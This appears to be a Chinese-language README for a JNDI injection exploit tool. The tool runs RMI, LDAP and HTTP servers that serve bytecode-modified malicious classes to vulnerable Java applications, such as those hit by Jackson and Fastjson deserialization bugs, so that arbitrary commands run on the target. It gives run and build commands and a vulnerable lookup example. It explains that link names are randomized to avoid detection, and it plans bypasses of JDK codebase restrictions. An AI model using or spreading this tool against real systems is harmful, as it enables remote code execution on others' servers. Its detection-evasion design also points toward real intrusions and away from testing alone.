介紹
最近把自己之前寫的JNDI注入工具改了一下push到了github,地址:github,啟動后這個工具開啟了三個服務,包括RMI、LDAP以及HTTP服務,然后生成JNDI鏈接。測試時可以將JNDI鏈接插入到JNDI注入相關的POC中,如Jackson、Fastjson反序列化漏洞等。
三個服務中,RMI和LDAP基於marshalsec中RMIRefServer、LDAPRefServer類修改而成,分別監聽1099及1389端口,HTTPserver提供惡意類的下載功能。
使用
可執行程序為jar包,在命令行中運行以下命令:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
其中:
-
-C - 遠程class文件中要執行的命令。
(可選項 , 默認命令是mac下打開計算器,即"open /Applications/Calculator.app")
-
-A - 服務器地址,可以是IP地址或者域名。
(可選項 , 默認地址是第一個網卡地址)
注意:
-
要確保 1099、1389、8180端口可用,不被其他程序占用。
或者你也可以在run.ServerStart類26~28行更改默認端口。
-
命令會被作為參數傳入Runtime.getRuntime().exec(),
所以需要確保命令傳入exec()方法可執行。
示例
本地演示:
-
啟動 JNDI-Injection-Exploit:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C open /Applications/Calculator.app -A 127.0.0.1
截圖:
-
我們需要把第一步中生成的 JNDI鏈接注入到存在漏洞的應用環境中,方便解釋用如下代碼模仿漏洞環境:
public static void main(String[] args) throws Exception{ InitialContext ctx = new InitialContext(); ctx.lookup("rmi://127.0.0.1/fgf4fp"); }
當上面代碼運行后,應用便會執行相應命令,這里是彈出計算器,沒截圖,可以自己測一下。
截圖是工具的server端日志:
安裝
下面兩種方法都可以得到Jar包
-
從 Realease直接下載最新的Jar。
-
把源碼下載到本地然后自行編譯打包。(在Java1.7+ 、Java1.8+ 和 Maven 3.x+環境下測試可以)
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests
工具實現
- 首先生成的鏈接后面codebaseClass是6位隨機的,這個是因為不希望讓工具生成的鏈接本身成為一種特征被監控或攔截。
- 服務器地址實際就是codebase地址,相比於marshalsec中的JNDI server來說,這個工具把JNDI server和HTTP server綁定到一起,並自動啟動HTTP server返回相應class,更自動化或者說更無腦了。
- HTTP server基於jetty實現的,其實就是一個能下載文件的servlet,比較有意思的是我提前編譯好class模板放到resource目錄,然后servlet會讀取class文件,使用ASM框架對讀取的字節碼進行修改,然后插入我們想要執行的命令,返回修改后的字節碼,這里其實使用javassist更簡單也方便些,因為引用的RMIRefServer有使用javassist。
待實現
- 在更高版本的JDK環境中trustURLCodebase變量為false,限制了遠程類的加載,我會找時間把JNDI-Injection-Bypass這個項目的東西融入到本項目中,生成能繞過JDK限制JNDI鏈接。
- … ...